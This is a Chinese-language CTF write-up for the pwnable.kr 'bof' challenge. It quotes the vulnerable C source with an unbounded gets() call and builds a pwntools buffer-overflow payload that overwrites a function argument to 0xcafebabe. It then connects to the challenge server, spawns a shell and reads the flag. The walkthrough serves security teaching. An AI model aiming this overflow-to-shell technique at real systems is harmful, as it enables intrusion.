bof - pwnable
1.获取题目
2. 运行程序、查看文件类型、保护措施
在本地机上运行一下程序:运行提示需要输入一个passcode,随意输入一个密码提示Nah…
查看文件类型:是32位动态链接的elf
查看保护措施:
3.分析源码
因为题目有给出源码,所以先直接查看源码分析。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
main应该不存在问题,只是调用func函数并传入一个参数。func函数中gets函数应该存在漏洞的,并没有限制输入的长度,容易造成栈溢出。
func函数里面的if语句判断传入的参数是否等于0xcafebabe,从而决定是否运行system函数。
那么我们的思路就是例如gets函数造成栈溢出,覆盖传入的参数值,使得等式成立。即使a1 = 0xcafebabe
将程序丢进IDA,可以看到变量s到栈底的距离是0x2CH,加上ebp和eip。变量s到变量a1内存单元的距离是0x2CH + 4 + 4
先来构造payload
from pwn import *
payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)
在本地测试运行一下:system函数已经被调用了
4. 编写利用脚本
from pwn import *
bof = remote('pwnable.kr','9000')#题目运行在pwnable.kr的9000端口
payload = 'A'*0x2C + 'A'*0X4 + 'A'*0x4
payload += p32(0xcafebabe)
bof.send(payload)
bof.interactive()#转移控制权限
//以下是获取sh之后,寻找flag
ls -l
cat flag